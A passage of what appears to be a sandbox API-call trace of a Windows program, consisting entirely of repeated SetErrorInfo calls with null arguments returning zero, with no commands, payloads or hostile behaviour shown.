perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.235] SetErrorInfo (dwReserved=0x0, 